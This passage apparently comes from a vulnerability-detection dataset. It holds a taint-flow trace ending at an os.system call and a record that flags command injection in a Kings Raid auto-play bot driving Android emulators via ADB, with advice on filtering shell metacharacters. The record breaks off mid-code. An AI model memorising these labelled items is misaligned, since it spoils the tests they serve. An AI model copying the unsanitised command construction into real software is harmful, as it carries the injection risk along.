"synz.COMMON.taint.propagate", "params": {"arg0": "addressaddress[0]"}}, {"lineNo": 105, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 106, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "addressaddress[2]"}}, {"lineNo": 106, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 109, "eventType": "source", "messageKey": "synz.COMMON.branch.false.assumed", "params": {"arg0": "109"}}, {"lineNo": 110, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "os.system"}}]}}
{"id": "e201a2aa77aad9cbf9616fb0541e69755dbc02fc0d06b3db1733e19f80a8cde2", "license": {"spdx": ["MIT"], "repo": "faber6/kings-raid-daily", "path": "modules.py", "repo_head_hexsha": "07b5a6fc9a827dd7e536ff9643217393fb86c097", "stack_hexsha": "df16a9b6f456a271a02043344bd7fec5b2e043ce", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 1395, "entireCode": "from threading import Thread, enumerate\nfrom random import choice\nfrom time import sleep as slp\nfrom time import time as tiime\nfrom os import mkdir, getcwd, path as pth\nfrom subprocess import run as run_\nfrom math import ceil\nfrom traceback import format_exc\nfrom sys import exit\nimport logging, json, ctypes\n\nfrom ppadb.client import Client\nfrom PIL import Image, UnidentifiedImageError, ImageFile\nfrom numpy import array\nfrom imagehash import average_hash\nfrom pytesseract import pytesseract\nfrom pytesseract import image_to_string\nfrom langdetect import detect, DetectorFactory\nfrom fuzzywuzzy.process import extractOne\nfrom difflib import SequenceMatcher\nfrom cv2 import bilateralFilter\nfrom requests import get\n\n\nif pth.exists('./.cache') == False:\n mkdir('./.cache')\nlogging.basicConfig(\n handlers=[logging.FileHandler(\"./.cache/log.log\", \"a\", \"utf-8\")],\n level=logging.INFO,\n format=\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\",\n datefmt=\"%m/%d/%Y %I:%M:%S %p\",\n)\nImageFile.LOAD_TRUNCATED_IMAGES = True\npytesseract.tesseract_cmd = ('./tesseract/tesseract.exe')\n\n\nupdate_notice_ = Image.open('./base/login/update_notice.png')\nintroduction_ = Image.open('./base/login/introduction.png')\ntap_to_play_ = Image.open('./base/login/tap_to_play.png')\ntap_to_play_2_ = Image.open('./base/login/tap_to_play_2.png')\ncommunity_ = Image.open('./base/login/community.png')\nsale_ = Image.open('./base/login/sale.png')\nattendance_ = Image.open('./base/login/attendance.png')\nevent_ = Image.open('./base/login/event.png')\nguild_attendance_ = Image.open('./base/login/guild_attendance.png')\naccumualated_ = Image.open('./base/login/accumualated.png')\nsale_2_ = Image.open('./base/login/sale_2.png')\nspecial_shop_ = Image.open('./base/login/special_shop.png')\nhome_screen_ = Image.open('./base/login/home_screen.png')\nmb_ = Image.open('./base/login/mission_button.png')\nloh_new_ = Image.open('./base/loh/loh_new.png')\nkr_discord_ = Image.open('./base/login/kr_discord.png')\n\n\ndef crop(img, dimesions):\n # size of the image in pixels (size of original image)\n width, height = img.size\n # cropped image\n im = img.crop((dimesions[0], dimesions[1], width-dimesions[2], height-dimesions[3]))\n return im\n\n\ndef check_similar(img1, img2, cutoff, bonus):\n # get data for comparing image\n image1 = average_hash(img1)\n image2 = average_hash(img2)\n # compare\n if image1 - image2 < cutoff+bonus:\n return \"similar\"\n else:\n return \"not\"\n \n\ndef filter(pil_image):\n open_cv_image = array(pil_image.convert('RGB')) \n open_cv_image = open_cv_image[:, :, ::-1].copy()\n return bilateralFilter(open_cv_image, 9, 75, 75)\n\n\nclass Missions:\n def __init__(self):\n self.dragon_ = False\n self.friendship_ = False\n self.inn_ = False\n self.lov_ = False\n self.shop_ = False\n self.stockage_ = False\n self.tower_ = False\n self.wb_ = False\n self.lil_ = False\n\n self.launched = None\n self.cache_2 = None\n self.game_count = 0\n self.game_home_screen_count = 0\n self.error_count = 0\n\n self.gb_cf = None\n\n def update_cache(self, device, check_crash=True):\n count = 0\n while True:\n try:\n device.shell('screencap -p /sdcard/screencap.png')\n device.pull('/sdcard/screencap.png', './.cache/screencap-'+str(device.serial)+'.png')\n im = Image.open('./.cache/screencap-'+str(device.serial)+'.png')\n if check_crash == True:\n if self.cache_2 is not None:\n try:\n if check_similar(self.cache_2, im, 5, self.gb_cf['bonus_cutoff']) == 'similar':\n self.game_count+=1\n if self.game_count >= 50: # game freeze\n device.shell('am force-stop com.vespainteractive.KingsRaid')\n slp(3)\n device.shell('monkey -p com.vespainteractive.KingsRaid 1')\n slp(3)\n self.game_count = 0\n self.run_execute(device, self.launched)\n exit()\n else:\n self.cache_2 = im\n self.game_count = 0\n self.emulator_count = 0\n except OSError:\n self.error_count += 1\n if self.error_count >= 50:\n self.error_count = 0\n break\n self.cache_2 = im\n slp(5)\n continue\n else:\n self.cache_2 = im\n break\n except RuntimeError:\n self.error_count += 1\n if self.error_count >= 50:\n self.error_count = 0\n break\n if count == 50:\n im = \"device offline\"\n break\n count += 1\n slp(5)\n except PermissionError or UnidentifiedImageError or ConnectionResetError:\n self.error_count += 1\n if self.error_count >= 50:\n self.error_count = 0\n break\n slp(5)\n return im, device\n\n def make_sure_loaded(self, original_img, device, dimensions=None, shell_=None, loop=None, sleep_duration=None, \\\n shell_first=False, cutoff=6, second_img=None, third_img=None, oposite=False, second_shell=None, ck=True, ck_special_shop=True):\n count = 0\n count_ = 0\n while True:\n if ck == True:\n self.check_login(device, ck_special_shop)\n # do adb shell first if passed\n if shell_ is not None:\n if shell_first is True:\n device.shell(shell_)\n if second_shell is not None:\n if shell_first is True:\n slp(3)\n device.shell(second_shell)\n # update cache\n if count_ >= 100:\n im, device = self.update_cache(device)\n else:\n im, device = self.update_cache(device, False)\n if dimensions is not None:\n cache = crop(im, dimensions)\n else:\n cache = im\n # get data for comparing image\n original = average_hash(Image.open(original_img))\n cache = average_hash(cache)\n # compare\n bonus = self.gb_cf['bonus_cutoff']\n if original - cache < cutoff+bonus:\n if oposite == True:\n pass\n else:\n break\n else:\n if second_img is not None:\n second = average_hash(Image.open(second_img))\n if second - cache < cutoff+bonus:\n break\n else:\n if third_img is not None:\n third = average_hash(Image.open(third_img))\n if third - cache < cutoff+bonus:\n break\n if oposite == True:\n break\n pass\n # adb shell if passed\n if shell_ is not None:\n if shell_first is False:\n device.shell(shell_)\n if second_shell is not None:\n if shell_first is False:\n slp(3)\n device.shell(second_shell)\n # break loop if given arg\n if loop is not None:\n if count == loop:\n return 'loop'\n count+=1\n if sleep_duration is not None:\n slp(sleep_duration)\n count_+=1\n\n def check_login(self, device, ck_special_shop):\n # get device resolution\n im, device = self.update_cache(device, check_crash=False)\n size_ = f\"{im.size[0]}x{im.size[1]}\"\n with open('./sets.json', encoding='utf-8') as j:\n data = json.load(j)[size_]\n\n count = 0\n community_count = 0\n bonus = self.gb_cf['bonus_cutoff']\n im, device = self.update_cache(device)\n\n # android home screen\n im1 = home_screen_\n im2 = crop(im, data['login']['home_screen']['dms'])\n home_screen = check_similar(im1, im2, 15, bonus)\n if home_screen == 'similar':\n logging.info(device.serial+': android home screen detected')\n device.shell('monkey -p com.vespainteractive.KingsRaid 1')\n slp(3)\n\n # login\n # update notice\n im1 = update_notice_\n im2 = crop(im, data['update_notice']['dms'])\n update_notice = check_similar(im1, im2, 10, bonus)\n if update_notice == 'similar':\n logging.info(device.serial+': update notice detected')\n device.shell(data['update_notice']['shell'])\n slp(3)\n\n # introduction\n im1 = introduction_\n im2 = crop(im, data['introduction']['dms'])\n introduction = check_similar(im1, im2, 10, bonus)\n if introduction == 'similar':\n logging.info(device.serial+': introduction detected')\n device.shell(data['introduction']['shell'])\n slp(3)\n\n # tap to play\n im1 = tap_to_play_\n im2 = crop(im, data['tap_to_play']['dms'])\n tap_to_play = check_similar(im1, im2, 10, bonus)\n if tap_to_play == 'similar':\n logging.info(device.serial+': tap to play detected')\n device.shell(data['tap_to_play']['shell'])\n slp(3)\n\n # tap to play 2\n im1 = tap_to_play_2_\n im2 = crop(im, data['tap_to_play']['dms'])\n tap_to_play_2 = check_similar(im1, im2, 10, bonus)\n if tap_to_play_2 == 'similar':\n logging.info(device.serial+': tap to play 2 detected')\n device.shell(data['tap_to_play']['shell'])\n slp(3)\n\n # pass community page\n im1 = community_\n im2 = crop(im, data['login']['community']['dms'])\n community = check_similar(im1, im2, 10, bonus)\n if community == 'similar':\n logging.info(device.serial+': community page detected')\n device.shell(data['login']['community']['shell'])\n slp(3)\n\n # pass sale page\n im1 = sale_\n im2 = crop(im, data['login']['sale']['dms'])\n sale = check_similar(im1, im2, 10, bonus)\n if sale == 'similar':\n logging.info(device.serial+': sale page detected')\n device.shell(data['login']['sale']['shell'])\n slp(3)\n\n # claim login attendance\n im1 = attendance_\n im2 = crop(im, data['login']['attendance']['dms'])\n attendance = check_similar(im1, im2, 10, bonus)\n if attendance == 'similar':\n logging.info(device.serial+': login attendance detected')\n device.shell(data['login']['attendance']['shell'])\n slp(1)\n device.shell(data['login']['attendance']['second_shell'])\n slp(3)\n\n # pass event page\n im1 = event_\n im2 = crop(im, data['login']['event']['dms'])\n event = check_similar(im1, im2, 10, bonus)\n if event == 'similar':\n logging.info(device.serial+': event page detected')\n device.shell(data['login']['event']['shell'])\n slp(3)\n\n # claim guild attendance\n im1 = guild_attendance_\n im2 = crop(im, data['login']['guild_attendance']['dms'])\n guild_attendance = check_similar(im1, im2, 10, bonus)\n if guild_attendance == 'similar':\n logging.info(device.serial+': guild attendance detected')\n for day in data['login']['guild_attendance']['days']:\n device.shell(day)\n slp(1)\n device.shell(data['login']['guild_attendance']['row_reward'])\n slp(1)\n device.shell(data['login']['guild_attendance']['exit'])\n slp(3)\n \n # claim login accumualated\n im1 = accumualated_\n im2 = crop(im, data['login']['accumualated']['dms'])\n accumualated = check_similar(im1, im2, 10, bonus)\n if accumualated == 'similar':\n logging.info(device.serial+': login accumualated detected')\n device.shell(data['login']['accumualated']['shell'])\n slp(1)\n device.shell(data['login']['accumualated']['second_shell'])\n slp(3)\n\n # check loh new season\n im1 = loh_new_\n im2 = crop(im, data['loh']['0']['dms'])\n loh_new = check_similar(im1, im2, 10, bonus)\n if loh_new == 'similar':\n logging.info(device.serial+': new loh season detected')\n device.shell(data['loh']['0']['shell'])\n slp(3)\n\n # sale 2\n im1 = sale_2_\n im2 = crop(im, data['login']['sale_2']['dms'])\n sale_2 = check_similar(im1, im2, 10, bonus)\n if sale_2 == 'similar':\n logging.info(device.serial+': sale 2 page detected')\n device.shell(data['login']['sale_2']['shell'])\n slp(1)\n device.shell(data['login']['sale_2']['second_shell'])\n slp(3)\n\n # special shop\n if ck_special_shop != False:\n im1 = special_shop_\n im2 = crop(im, data['login']['special_shop']['dms'])\n special_shop = check_similar(im1, im2, 10, bonus)\n if special_shop == 'similar':\n logging.info(device.serial+': special shop detected')\n device.shell(data['login']['special_shop']['shell'])\n slp(3)\n\n # return to main page\n im1 = mb_\n im2 = crop(im, data['login']['mission_button'])\n mb = check_similar(im1, im2, 20, bonus)\n if mb == 'similar':\n self.game_home_screen_count += 1\n if self.game_home_screen_count >= 100:\n logging.info(device.serial+': game home screen detected')\n device.shell(data['daily']['shell'])\n self.game_home_screen_count = 0\n self.run_execute(device, launched=self.launched)\n exit()\n\n def run_execute(self, device, launched=None):\n with open('./config.json') as j:\n self.gb_cf = json.load(j)\n try:\n self.execute(device, launched)\n except SystemExit:\n pass\n except ConnectionResetError:\n if launched is not None:\n text = device.serial+': connection to remote host was forcibly closed, closing emulator'\n print(text)\n logging.warn(text)\n path = self.gb_cf['ldconsole'].replace('|', '\"')\n run_(path+f' quit --index {str(launched)}')\n except:\n var = format_exc()\n logging.warn(device.serial+': Exception | '+var)\n return\n\n def execute(self, device, launched=None):\n if launched is not None:\n self.launched = launched\n # get device resolution\n im, device = self.update_cache(device, check_crash=False)\n if im == 'device offline':\n if str(device.serial).startswith('127'):\n return\n text = 'device '+device.serial+' is offline, script ended'\n logging.info(text)\n print(text)\n return\n size_ = f\"{im.size[0]}x{im.size[1]}\"\n logging.info(device.serial+': size '+size_+' detected')\n with open('./sets.json', encoding='utf-8') as j:\n data = json.load(j)[size_]\n device.shell('monkey -p com.vespainteractive.KingsRaid 1')\n path = self.gb_cf['ldconsole'].replace('|', '\"')\n\n def claim():\n # claim rewards\n count = 0\n while True:\n if count == 9:\n break\n device.shell(data['claim'][0])\n device.shell(data['claim'][1])\n count+=1\n\n # open daily mission board\n self.make_sure_loaded('./base/other/daily.png', device, data['daily']['dms'], data['daily']['shell'], cutoff=8)\n\n if self.gb_cf['buff'] == True:\n # claim exp and gold buff in etc\n self.make_sure_loaded('./base/other/etc.png', device, data['buff']['1']['dms'], data['buff']['1']['shell'], second_img='./base/other/etc_2.png', third_img='./base/other/etc_3.png', cutoff=8)\n # claim exp buff\n self.make_sure_loaded('./base/other/use_exp.png', device, data['buff']['2']['dms'], data['buff']['2']['shell'], cutoff=15, sleep_duration=1, loop=5)\n self.make_sure_loaded('./base/other/etc.png', device, data['buff']['1']['dms'], data['buff']['2']['second_shell'], second_img='./base/other/etc_2.png', third_img='./base/other/etc_3.png', cutoff=8)\n slp(5)\n # claim gold buff \n self.make_sure_loaded('./base/other/use_gold.png', device, data['buff']['3']['dms'], data['buff']['3']['shell'], cutoff=15, sleep_duration=1, loop=5)\n self.make_sure_loaded('./base/other/etc.png', device, data['buff']['1']['dms'], data['buff']['3']['second_shell'], second_img='./base/other/etc_2.png', third_img='./base/other/etc_3.png', cutoff=8)\n\n # click back to mission board\n # open daily mission board\n self.make_sure_loaded('./base/other/daily.png', device, data['daily']['dms'], data['daily']['second_shell'], cutoff=8, shell_first=True, sleep_duration=0.5)\n\n claim()\n text = device.serial+': opened and claimed rewards (and exp/gold buff) on daily mission board for the first time'\n logging.info(text)\n print(text)\n\n # get game language\n im, device = self.update_cache(device)\n first_misison = crop(im, data['first mission'])\n image = filter(first_misison)\n text_lang = image_to_string(image).splitlines()[0].lower().replace('♀', '')\n while True:\n try:\n lang = detect(text_lang)\n break\n except:\n device.shell(data['daily']['second_shell'])\n slp(1)\n claim()\n slp(5)\n continue\n if lang == 'en' or lang == 'da' or lang == 'fr':\n lang = 'eng'\n elif lang == 'ja':\n lang = 'jpn'\n elif lang == 'vi':\n lang = 'vie'\n else:\n with open('./languages.json', encoding='utf-8') as j:\n langs = json.load(j)\n lang = None\n missions_ = []\n langs_ = []\n _langs_ = {}\n for lang__ in langs:\n langs_.append(lang__)\n for _lang_ in langs[lang__]:\n missions_.append(_lang_)\n _langs_[_lang_] = lang__\n for lang__ in langs_:\n text_lang = image_to_string(image, lang__).splitlines()[0].lower().replace('♀', '')\n if lang__ == 'jpn':\n text_lang = text_lang.replace(' ', '')\n lang_ = extractOne(text_lang, missions_)\n print(lang_[1])\n if lang_[1] > 85:\n lang = _langs_[lang_[0]]\n\n if lang is None:\n text = device.serial+': language not supported or cannot recognized (supported languages: english, japanese, vietnamese)'\n logging.info(text)\n print(text)\n if self.launched is not None:\n text = device.serial+': because launched from config so closing after done'\n logging.info(text)\n print(text)\n run_(path+f' quit --index {str(self.launched)}')\n exit()\n\n # check for undone missions\n not_done = []\n not_done_ = []\n count = 0\n while True:\n im, device = self.update_cache(device)\n # get 4 visible missions on mission board\n visible_missions = [crop(im, data['first mission']), crop(im, data['second mission']), \\\n crop(im, data['third mission']), crop(im, data['fourth mission'])]\n if not_done_ == not_done:\n if count >= 20:\n self.weekly(device, data)\n if self.gb_cf['mails'] == True:\n self.mails(device, data)\n if self.gb_cf['loh'] == True:\n re = self.loh(device, data, lang)\n if re != 'success':\n text = device.serial+': loh not enough currency or unavailable'\n logging.info(text)\n print(text)\n text = device.serial+': all avalible missions has been completed, script ended'\n logging.info(text)\n print(text)\n if self.launched is not None:\n text = device.serial+': because launched from config so closing after done'\n logging.info(text)\n print(text)\n run_(path+f' quit --index {str(self.launched)}')\n exit()\n count+=1\n not_done_ = not_done\n count_ = 0\n for mission in visible_missions:\n pil_image = mission\n text = image_to_string(pil_image, lang).splitlines()[0].lower().replace('♀', '')\n if text == ' ':\n img = filter(pil_image)\n text = image_to_string(img, lang).splitlines()[0].lower().replace('♀', '')\n re = self.do_mission(text, device, data['shortcut'][str(count_)], data, size_, lang)\n if re == 'not':\n if text not in not_done:\n not_done.append(text)\n else:\n self.make_sure_loaded('./base/other/daily.png', device, data['daily']['dms'], data['daily']['shell'], cutoff=8)\n claim()\n logging.info(device.serial+': opened and claimed rewards on daily mission board')\n break\n count_+=1\n\n\n def do_mission(self, mission, device, pos, data, res, lang):\n with open('./languages.json', encoding='utf-8') as j:\n lang_data = json.load(j)[lang]\n lst = []\n for name in lang_data:\n lst.append(name)\n ext = extractOne(mission, lst)\n re = lang_data[ext[0]]\n if re == 'dragon':\n if self.gb_cf['dragon'] == False:\n return 'not'\n if self.dragon_ == True:\n return 'not'\n return self.dragon(device, pos, data, lang)\n elif re == 'friendship':\n if self.gb_cf['friendship'] == False:\n return 'not'\n if self.friendship_ == True:\n return 'not'\n return self.friendship(device, pos, data)\n elif re == 'inn':\n if self.gb_cf['inn'] == False:\n return 'not'\n if self.inn_ == True:\n return 'not'\n return self.inn(device, pos, data)\n elif re == 'lov':\n if self.gb_cf['lov'] == False:\n return 'not'\n if self.lov_ == True:\n return 'not'\n return self.lov(device, pos, data)\n elif re == 'shop':\n if self.gb_cf['shop'] == False:\n return 'not'\n if self.shop_ == True:\n return 'not'\n return self.shop(device, pos, data)\n elif re == 'stockage':\n if self.gb_cf['stockage'] == False:\n return 'not'\n if self.stockage_ == True:\n return 'not'\n return self.stockage(device, pos, data)\n elif re == 'tower':\n if self.gb_cf['tower'] == False:\n return 'not'\n if self.tower_ == True:\n return 'not'\n return self.tower(device, pos, data, lang)\n elif re == 'wb':\n if self.gb_cf['wb'] == False:\n return 'not'\n if self.wb_ == True:\n return 'not'\n return self.wb(device, pos, data)\n elif re == 'lil':\n if self.gb_cf['lil'] == False:\n return 'not'\n if self.lil_ == True:\n return 'not'\n return self.lil(device, pos, data, res)\n elif re == 'dungeons':\n return 'not'\n elif re == 'stamina':\n return 'not'\n elif re == 'login':\n return 'not'\n\n\n def dragon(self, device, position, data, lang):\n print(device.serial+': hunting dragon...')\n logging.info(device.serial+': hunting dragon')\n\n # click mission shortcut\n shortcut = self.make_sure_loaded('./base/dragon/raid_list.png', device, data['dragon']['1']['dms'], data['dragon']['1']['shell']+position, cutoff=20, loop=20, sleep_duration=10)\n if shortcut == 'loop':\n self.dragon_ = True\n return 'not'\n logging.info(device.serial+': loaded from mission shortcut')\n\n # click create red dragon raid\n self.make_sure_loaded('./base/dragon/red_dra.png', device, data['dragon']['2']['dms'], data['dragon']['2']['shell'])\n logging.info(device.serial+': clicked create dragon raid')\n\n with open('./languages.json', encoding='utf-8') as j:\n dragon_text = json.load(j)[lang]['dragon']\n # change hard level to t6 stage 1\n while True:\n im, device = self.update_cache(device)\n pil_image = crop(im, data['dragon']['3']['dms'])\n img = filter(pil_image)\n text = image_to_string(img, lang).replace('♀', '')\n if lang == 'jpn':\n text = text.replace(' ', '')\n text_ = text.splitlines()[0].lower().replace(' ', '')\n if SequenceMatcher(None, dragon_text, text_).ratio() > 0.9:\n device.shell(data['dragon']['3']['shell'])\n break\n else:\n device.shell(data['dragon']['4']['shell'])\n logging.info(device.serial+': changed to dragon t6 stage 1')\n\n # click single raid\n self.make_sure_loaded('./base/dragon/single_raid.png', device, data['dragon']['5']['dms'], data['dragon']['5']['shell'], shell_first=True)\n logging.info(device.serial+': clicked single raid')\n\n # click enter raid\n self.make_sure_loaded('./base/dragon/party.png', device, data['dragon']['6']['dms'], data['dragon']['6']['shell'], sleep_duration=0.5, cutoff=20)\n logging.info(device.serial+': clicked enter raid')\n\n # check avalible party\n # slot 1\n self.make_sure_loaded('./base/dragon/party_4.png', device, data['dragon']['7']['dms'], data['dragon']['7']['shell'], oposite=True, sleep_duration=1)\n # slot 2\n self.make_sure_loaded('./base/dragon/party_3.png', device, data['dragon']['8']['dms'], data['dragon']['8']['shell'], oposite=True, sleep_duration=1)\n # slot 3\n self.make_sure_loaded('./base/dragon/party_2.png', device, data['dragon']['9']['dms'], data['dragon']['9']['shell'], oposite=True, sleep_duration=1)\n # slot 4\n self.make_sure_loaded('./base/dragon/party_1.png', device, data['dragon']['10']['dms'], data['dragon']['10']['shell'], oposite=True, sleep_duration=1)\n # slot 5\n self.make_sure_loaded('./base/dragon/party_6.png', device, data['dragon']['11']['dms'], data['dragon']['11']['shell'], oposite=True, sleep_duration=1)\n # slot 6\n self.make_sure_loaded('./base/dragon/party_5.png', device, data['dragon']['12']['dms'], data['dragon']['12']['shell'], oposite=True, sleep_duration=1)\n logging.info(device.serial+': checked all avalible slots')\n\n # click start battle\n self.make_sure_loaded('./base/dragon/battle.png', device, data['dragon']['13']['dms'], data['dragon']['13']['shell'], cutoff=30)\n logging.info(device.serial+': clicked start battle')\n\n # wait until finish\n self.make_sure_loaded('./base/dragon/end.png', device, data['dragon']['14']['dms'], sleep_duration=15, cutoff=10, ck=False, loop=4)\n logging.info(device.serial+': battle completed')\n\n # click exit battle\n self.make_sure_loaded('./base/dragon/party.png', device, data['dragon']['15']['dms'], data['dragon']['15']['shell'], sleep_duration=0.5)\n logging.info(device.serial+': exited battle')\n\n # click exit\n self.make_sure_loaded('./base/dragon/my_info.png', device, data['dragon']['16']['dms'], data['dragon']['16']['shell'], sleep_duration=0.5)\n device.shell(data['dragon']['17']['shell'])\n logging.info(device.serial+': successfully did dragon mission')\n self.dragon_ = True\n return 'success'\n\n\n def friendship(self, device, position, data):\n print(device.serial+': exchanging friendship points...')\n logging.info(device.serial+': exchanging friendship points')\n\n # click mission shortcut\n shortcut = self.make_sure_loaded('./base/friendship/friends.png', device, data['friendship']['1']['dms'], data['friendship']['1']['shell']+position, loop=20, cutoff=20, sleep_duration=10)\n if shortcut == 'loop':\n self.friendship_ = True\n return 'not'\n logging.info(device.serial+': loaded from mission shortcut')\n\n # click exchange friendship points\n self.make_sure_loaded('./base/friendship/exchange.png', device, data['friendship']['2']['dms'], data['friendship']['2']['shell'], cutoff=10, shell_first=True, loop=30)\n logging.info(device.serial+': clicked exchange friendship points')\n\n # click exit\n self.make_sure_loaded('./base/friendship/my_info.png', device, data['friendship']['3']['dms'], data['friendship']['3']['shell'], sleep_duration=0.5)\n device.shell(data['friendship']['4']['shell'])\n logging.info(device.serial+': successfully did friendship mission')\n self.friendship_ = True\n return 'success'\n\n\n def inn(self, device, position, data):\n print(device.serial+': doing stuffs in inn...')\n logging.info(device.serial+': doing stuffs in inn')\n\n # click mission shortcut\n shortcut = self.make_sure_loaded('./base/inn/visit_inn.png', device, data['inn']['1']['dms'], data['inn']['1']['shell']+position, cutoff=20, loop=20, sleep_duration=10)\n if shortcut == 'loop':\n self.inn_ = True\n return 'not'\n logging.info(device.serial+': loaded from mission shortcut')\n\n # open inn\n self.make_sure_loaded('./base/inn/inn.png', device, data['inn']['2']['dms'], data['inn']['2']['shell'], second_img='./base/inn/inn_.png', cutoff=15)\n logging.info(device.serial+': opened inn')\n\n # give gifts\n def gift():\n slp(2)\n self.make_sure_loaded('./base/inn/greet.png', device, data['inn']['3']['dms'], data['inn']['3']['shell'], second_shell=data['inn']['2']['shell'], cutoff=10, \\\n second_img='./base/inn/greet_.png', third_img='./base/inn/greet__.png', loop=5, shell_first=True)\n self.make_sure_loaded('./base/inn/start_conversation.png', device, data['inn']['4']['dms'], data['inn']['4']['shell'], second_shell=data['inn']['2']['shell'], cutoff=10, \\\n second_img='./base/inn/start_conversation_.png', third_img='./base/inn/start_conversation__.png', loop=5, shell_first=True)\n self.make_sure_loaded('./base/inn/send_gift.png', device, data['inn']['5']['dms'], data['inn']['5']['shell'], second_shell=data['inn']['2']['shell'], cutoff=10, \\\n second_img='./base/inn/send_gift_.png', third_img='./base/inn/send_gift__.png', loop=5, shell_first=True)\n \n # choose hero in inn\n def choose_hero(tap1, tap2):\n self.make_sure_loaded('./base/inn/inn.png', device, data['inn']['6']['dms'], data['inn']['6']['shell']+str(tap1)+' '+str(tap2),\n shell_first=True, second_img='./base/inn/inn_.png', cutoff=25, second_shell=data['inn']['2']['shell'])\n\n # give gifts to first hero\n gift()\n logging.info(device.serial+': gave gifts to first hero')\n # give gifts to second hero\n choose_hero(data['inn']['7']['shell'][0], data['inn']['7']['shell'][1])\n gift()\n logging.info(device.serial+': gave gifts to second hero')\n # give gifts to third hero\n choose_hero(data['inn']['8']['shell'][0], data['inn']['8']['shell'][1])\n gift()\n logging.info(device.serial+': gave gifts to third hero')\n # give gifts to fourth hero\n choose_hero(data['inn']['9']['shell'][0], data['inn']['9']['shell'][1])\n gift()\n logging.info(device.serial+': gave gifts to fourth hero')\n # give gifts to fifth hero\n choose_hero(data['inn']['10']['shell'][0], data['inn']['10']['shell'][1])\n gift()\n logging.info(device.serial+': gave gifts to fifth hero')\n # give gifts to sixth hero\n choose_hero(data['inn']['11']['shell'][0], data['inn']['11']['shell'][1])\n gift()\n logging.info(device.serial+': gave gifts to sixth hero')\n\n # click 'Mini Game'\n count = 0\n while True:\n if count == 6:\n break\n self.make_sure_loaded('./base/inn/mini_game.png', device, data['inn']['12']['dms'], data['inn']['12']['shell'])\n slp(0.5)\n device.shell(data['inn']['13']['shell'])\n slp(0.5)\n self.make_sure_loaded('./base/inn/inn.png', device, data['inn']['14']['dms'], data['inn']['14']['shell'], cutoff=20, second_img='./base/inn/inn_.png')\n slp(1)\n count+=1\n logging.info(device.serial+': played minigames')\n\n # click exit\n self.make_sure_loaded('./base/inn/visit_inn.png', device, data['inn']['15']['dms'], data['inn']['15']['shell'], cutoff=20, sleep_duration=3)\n self.make_sure_loaded('./base/inn/my_info.png', device, data['inn']['16']['dms'], data['inn']['16']['shell'], sleep_duration=0.5)\n device.shell(data['inn']['17']['shell'])\n logging.info(device.serial+': successfully did some stuffs in inn mission')\n self.inn_ = True\n return 'success'\n\n\n def lov(self, device, position, data):\n print(device.serial+': suiciding in lov...')\n logging.info(device.serial+': suiciding in lov')\n \n # click mission shortcut\n shortcut = self.make_sure_loaded('./base/lov/arena.png', device, data['lov']['1']['dms'], data['lov']['1']['shell']+position, loop=20, cutoff=20, sleep_duration=10)\n if shortcut == 'loop':\n self.lov_ = True\n return 'not'\n logging.info(device.serial+': loaded from mission shortcut')\n\n # click select arena\n self.make_sure_loaded('./base/lov/arenas.png', device, data['lov']['2']['dms'], data['lov']['2']['shell'], sleep_duration=0.5)\n logging.info(device.serial+': clicked select arena')\n\n # click enter lov\n self.make_sure_loaded('./base/lov/lov.png', device, data['lov']['3']['dms'], data['lov']['3']['shell'], sleep_duration=1)\n logging.info(device.serial+': clicked enter lov')\n\n # click ready to dual\n self.make_sure_loaded('./base/lov/party.png', device, data['lov']['4']['dms'], data['lov']['4']['shell'], sleep_duration=0.5, cutoff=20)\n logging.info(device.serial+': clicked ready to dual')\n\n # check avalible team\n self.make_sure_loaded('./base/lov/party_.png', device, data['lov']['5']['dms'], data['lov']['5']['shell'], sleep_duration=1, oposite=True, cutoff=20)\n logging.info(device.serial+': checked avalible team')\n\n # click register match\n self.make_sure_loaded('./base/lov/end.png', device, data['lov']['6']['dms'], data['lov']['6']['shell'], sleep_duration=0.5, cutoff=25, second_shell=data['lov']['6']['second_shell'])\n logging.info(device.serial+': clicked and exited battle')\n\n # click exit match\n self.make_sure_loaded('./base/lov/lov.png', device, data['lov']['7']['dms'], data['lov']['7']['shell'], sleep_duration=0.5)\n logging.info(device.serial+': exited match')\n\n # click exit\n self.make_sure_loaded('./base/lov/my_info.png', device, data['lov']['8']['dms'], data['lov']['8']['shell'], sleep_duration=0.5)\n device.shell(data['lov']['9']['shell'])\n logging.info(device.serial+': successfully did lov mission')\n self.lov_ = True\n return 'success'\n\n\n def shop(self, device, position, data):\n print(device.serial+': buying stuffs in shop...')\n logging.info(device.serial+': buying stuffs in shop')\n\n # click mission shortcut\n shortcut = self.make_sure_loaded('./base/shop/use_shop.png', device, data['shop']['1']['dms'], data['shop']['1']['shell']+position, loop=20, cutoff=20, sleep_duration=10)\n if shortcut == 'loop':\n self.shop_ = True\n return 'not'\n logging.info(device.serial+': loaded from mission shortcut')\n\n # open shop\n self.make_sure_loaded('./base/shop/shop.png', device, data['shop']['2']['dms'], data['shop']['2']['shell'])\n logging.info(device.serial+': opened shop')\n\n # click a random item in shop\n lst = data['shop']['3-0']['shell']\n r = choice(lst)\n device.shell(data['shop']['3-1']['shell']+str(r[0])+' '+str(r[1]))\n logging.info(device.serial+': clicked a random stuff')\n self.make_sure_loaded('./base/shop/buy.png', device, data['shop']['3-2']['dms'], data['shop']['3-2']['shell']+str(r[0])+' '+str(r[1]), cutoff=1)\n logging.info(device.serial+': clicked a random stuff second time')\n\n # click buy item\n self.make_sure_loaded('./base/shop/bought.png', device, data['shop']['4']['dms'], data['shop']['4']['shell'], shell_first=True, cutoff=3)\n logging.info(device.serial+': bought stuff')\n\n # click exit\n self.make_sure_loaded('./base/shop/my_info.png', device, data['shop']['5']['dms'], data['shop']['5']['shell'], sleep_duration=0.5)\n device.shell(data['shop']['6']['shell'])\n logging.info(device.serial+': successfully bought stuffs in shop in inn mission')\n 